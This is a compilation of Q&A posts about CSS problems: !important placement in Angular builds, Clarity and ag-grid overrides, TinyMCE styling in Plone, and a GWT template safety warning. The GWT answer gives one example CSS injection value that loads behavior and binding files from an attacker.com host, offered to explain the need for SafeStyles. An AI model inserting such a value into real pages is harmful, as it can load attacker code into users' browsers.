I'm a bit puzzled why this happening in different server environment.
I have a global css class declared in my style.scss in my Angular application. This class was used in different pages with data entry form.
.form-container ) > * {
width: 100%:
padding : 1.25rem !important 1.25rem;
}
If you can see, there's indeed something wrong with the value of padding where, !important was placed before the last value.
Below how it looks like when I inspect it in dev tool.
Pre Production
Production
As you can see, in Pre Production, it was strike through which means, padding was not applied in my website where I used the said class. However, on the other snip (Production) it became valid value but, the last value 1.25rem was omitted.
I would like to know why in Production does not complain with the value of padding but in Pre Production it does?
I suspect maybe this is something to do when bundling the angular app using ng build --prod, BUT not really sure why this happened.
TIA!
!important must always be mentioned at the end of a definition.
The below definition is actually invalid so the browser ignores it.
padding : 1.25rem !important 1.25rem;
Whereas the packager/minifier detects the !important and calls it as the end of the definition. It is working as expected.
It is doing the right thing by removing everything beyond the !important marker to make the definition valid.
Related
In Clarity 2, we used the following code to generate a stack view with nested block headers.
<clr-stack-view>
<clr-stack-block [clrSbExpanded]="true">
<clr-stack-label>Leases</clr-stack-label>
<clr-stack-block [clrSbExpanded]="true">
<clr-stack-label>vApp leases</clr-stack-label>
<clr-stack-content></clr-stack-content>
<clr-stack-block>
<clr-stack-label>Runtime expiry action</clr-stack-label>
<clr-stack-content>Never expires</clr-stack-content>
</clr-stack-block>
<clr-stack-block>
<clr-stack-label>Runtime Expiry Action</clr-stack-label>
<clr-stack-content>Content</clr-stack-content>
</clr-stack-block>
</clr-stack-block>
</clr-stack-block>
</clr-stack-view>
After upgrading to Clarity 3, I'm getting a glitch on my sub header where the right part of it is white instead of the background color.
This seems to be because of the following CSS rule. I can probably workaround it...
.stack-view .stack-children .stack-block-label, .stack-view .stack-children .stack-block-content {
background-color: #fff;
background-color: var(--clr-stack-view-stack-children-stack-block-label-and-content-bg-color, white);
}
The question is whether this a bug? Or was I just using unsupported behavior in Clarity 2? You can play with it here
I can't say whether it's a bug, but the following CSS override fixes it.
.stack-view .stack-children .stack-block-content {
background-color: inherit;
}
Moreover, if I remove that style declaration completely (from dev tools), everything seems to work fine, so it seems like that rule was left there by mistake to try to make sure the clr-stack-content|label was white in the body. Heck if I know...
See https://stackblitz.com/edit/stack-view-nested-header-fixed?file=src%2Findex.html
I have an issue with CSS variable (defined using var() syntax) with !important flag disappearing when Angular project is build in production mode (using ng build --prod). Specifically, in my scss file I have something like this:
.all-borders {
border: 3px solid var(--primary) !important;
// in "development" build this is correctly compiled to: "border:1px solid var(--primary)!important"
// in "production" build this is incorrectly compiled to: "border:1px solid!important"
}
.window {
height: 100px;
width: 100px;
background-color: cadetblue;
}
and in html file I have defined a simple div element like this:
<div class="all-borders window"></div>
and when I run ng serve (so build in dev mode) I can see that border is correctly compiled and applied on my div element. But, when I build in prod mode then my border becomes black and I can see in inspector that style has been compiled to border: 1px solid!important (notice that var(...) disappeared).
Here is a stackblitz example demonstrating this issue (that is development version) and here is how this looks when build for production and deployed.
The question is, can anyone explain to me why is this happening?
I can fix this issue in multiple ways, for example reorganizing styles and removing !important, or even writing border style like this border: var(--primary) 1px solid !important (weirdly enough, this works fine), but I am wondering why is this happening, could it be just a bug or is there a universal reason behind this?
I created an issue on Angular repo here, and it seems that this is a bug and will be fixed in Angular v9.
From what I could find out it seems that the issue was in the CSS optimizer they used, so they switched to a different one and it seems the issue is resolved (in v9). Worst case scenario is that this may introduce some breaking changes in which case this fix may not make it in v9 but there are no indications that this will happen (for now).
I've inherited an AngularJS project which uses the 3rd party grid, Ag-grid. There is an ag-grid-style.css file that has the following:
.ag-pinned-left-header.hasCategoryCol .ag-header-cell, .ag-pinned-left-cols-viewport.hasCategoryCol .ag-row .ag-cell {
width: calc(100% / 7) !important;
}
This works great for the grid already in use, the grid is nicely divided into 7 columns.
My problem is I have created new code, also using ag-grid, but I need the new grid divided into 6 columns, not 7. I end up with one extra empty column. Using Chrome for debugging and going into the developer tools, I can see the above CSS and if I change the 7 to a 6, my grid displays perfectly. My question is what is the easiest way to accomplish what I want? I've been trying to adjust the styling in code but haven't succeeded yet. Suggestions?
I would simply add the modified CSS to a CSS file that renders after all other third-party library CSS files. When you have an !important that happens after another !important, the second one overrides the first. So by adding the CSS to your website it should be fine.
.ag-pinned-left-header.hasCategoryCol .ag-header-cell, .ag-pinned-left-cols-
viewport.hasCategoryCol .ag-row .ag-cell {
width: calc(100% / 6) !important;
}
#Adosi's answer is the preferred solution -- CSS after all refers to cascading style sheets. If, however, you cannot modify the load order of your styles, the following is an alternative solution.
You can override a rule defined in an external stylesheet that has a !important attribute by adding your own definition inline to the element itself. I have demonstrated here using the background-color property as it is more obvious.
#foo {
background-color: pink !important;
}
<p id="foo" style="background-color: cyan !important;">This paragraph has id foo.</p>
The inline style will always take precedence -- eg be loaded last -- so the color defined there is the one that is displayed.
Note that this is not considered a good practice, but I indicate it as an alternative if you are unable to load a CSS rule after your third party asset. (You may wish to log a bug with the 3rd party library because the !important annotation should be used sparingly and in this case probably not at all.)
I had thought that TinyMCE was supposed to remain untouched by the Diazo theme, however some CSS from somewhere is leaking in and making certain functions harder to use. One such example is below, the line height on all the rows has become super short, making each row hard to select.
In Firebug, I can fix this by adding a min-height value here, a value set in dialog.css:
.radioscrolllist .list {min-height: 2em;}
However, I cannot find where to actually set this and have it stick. I've tried putting it in the Diazo theme style.css, in ploneCustom.css, and customizing both portal_skins/tinymce/themes/advanced/skins/plone/dialog.css and portal_skins/tinymce/plugins/plonebrowser/css/plonebrowser.css — none of these seem to do the trick though.
Any ideas on how/where to make this fix? The problem only shows up on the Diazo version of the site, not from the unthemed version. It looks like the only CSS files that load on the TinyMCE iframe are:
dialog.css
plonebrowser.css
columns.css
This is what I have in my project CSS to deal with a similar issue, though I find different issues on each project depending on what I do with the general CSS & columns in particular:
/* Fix TinyMCE gremlins */
#internallinkcontainer div.row {
/* Image browser was jumbled */
float: none;
}
#content #internallinkcontainer .list.item span,
#content #internallinkcontainer .list.item a {
/* Link browser was packed too much */
position: inherit;
}
#internallinkcontainer input[type="radio"] {
vertical-align: middle;
}
/* #end */
Which get's my Link Browser looking like this again:
Apart from the Diazo-CSS troubles, it sounds like you might be having trouble with
plone.css getting cached. The following is from the developer manual with amendments by myself that have not yet been pulled in.
plone.css
plone.css is automagically generated dynamically based on the full portal_css registry configuration. It is used in e.g. TinyMCE to load all CSS styles into the TinyMCE in a single pass. It is not used on the normal Plone pages.
plone.css generation:
https://github.com/plone/Products.CMFPlone/blob/master/Products/CMFPlone/skins/plone_scripts/plone.css.py
Note: plone.css is #import-ed by dialog.css which "hides" it from a browser refresh of a normal Plone page, even when Plone is in development mode. This means you may find you do not see your CSS updates within the TinyMCE plugin (e.g. in the link/image browser) whilst developing your theme. If this is the case, then simply do a hard refresh in your browser directly on: /plone.css to clear the cached version.
I just faced the same issue last week. My workaround was adding this in my theme's CSS (the tinymce dialogs are not part of the iframe that contains the content being edited; they are in the main frame):
#internallinkcontainer.radioscrolllist { line-height: auto !important; }
#internallinkcontainer .list.item span, #internallinkcontainer .list.item a { position: static !important; }
(Clearly we should find a less hacky solution, but I haven't had a chance.)
You almost answered it to yourself: You can customize column.css, that'll work, no important-declarations needed.
Additionally this seems not to be Diazo-related, the ploneCustom.css will also not be delivered to the dialog-window in a non-diazo'ed site, hmm.
Im using obfuscated styles eg.
<ui:style>
.explanation {
text-align: center;
}
</ui:style>
...
<g:HTMLPanel>
<div class="{style.explanation}">
...
Is this bad practice?
It looks ok when I check the HTML, or perhaps I'm misunderstanding the warning..
Im getting the following warning in Development Mode with GWT :
Template with variable in CSS attribute context:
The template code generator cannot guarantee HTML-safety of the template
-- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context
class is not a "CSS attribute context", only style is (and <style>); so I doubt the warning comes from the code you showed (which is exactly how things are meant to be used, so not a bad practice at all).
The warning appears when you have things like style='width: {foo}; height: {bar}', because there's no guarantee (at compile-time) that foo or bar won't contain something like 100%; behavior: url(http://attacker.com/injection.htc); -moz-binding: url(http://attacker.com/injection.xbl). In that case, you should rather use style='{myStyle}' where myStyle is an instance of SafeStyles.